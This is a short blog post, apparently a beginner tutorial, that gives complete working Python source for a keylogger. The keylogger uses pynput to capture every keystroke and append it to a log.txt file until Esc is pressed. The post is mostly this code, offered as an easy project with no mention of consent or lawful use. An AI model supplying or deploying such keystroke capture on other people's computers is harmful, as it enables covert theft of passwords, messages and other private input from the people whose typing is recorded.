KEYLOGGER in Python .. π€π€
KEYLOGGER in Python is easy to make .....
Create a log.txt file in the same directory of the python file ...
import pynput # pip install pynput
from pynput.keyboard import Key,Listener
count=0 # initializing the count as 0
keys=[] # the list of keys
def on_press(key): # function to track the keys pressed ..
global keys,count
keys.append(key)
count +=1
print('{0} pressed'.format(key))
if count >= 10:
count =0
write_file(keys)
keys=[]
def write_file(keys): # function to write the keys in the txt file ..
with open('log.txt','a') as f:
for key in keys:
k=str(key).replace("'", "")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)
def on_release(key): # function to stop the recording ..
if key == Key.esc:
return False
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
If you run the code , all that you type gets stored in log.txt ..
If esc key is pressed ,the recording gets stopped ..
And the log.txt file contains the words that you typed ..

Comments
Post a Comment